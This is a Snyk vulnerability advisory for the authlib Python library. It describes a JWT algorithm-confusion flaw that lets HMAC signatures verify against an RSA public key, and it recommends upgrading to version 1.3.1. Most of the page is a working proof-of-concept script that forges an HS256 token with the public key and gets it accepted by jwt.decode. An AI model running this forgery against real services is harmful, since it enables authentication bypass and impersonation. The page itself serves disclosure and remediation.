Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade authlib
to version 1.3.1 or higher.
authlib is a library in building OAuth and OpenID Connect servers.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature which allow HMAC verification with ANY asymmetric public key. If the' algorithm' field is left unspecified, an attacker can manipulate the verification process by exploiting the flexibility in algorithm selection during the jwt.decode
call.
from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64
# ----- SETUP -----
# generate an asymmetric RSA keypair
# !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)
# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')
# Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]
# ---- CLIENT SIDE -----
# Without knowing the private key, a valid token can be constructed
# YIKES!!
b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)
# ---- SERVER SIDE -----
# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
print("VULNERABLE")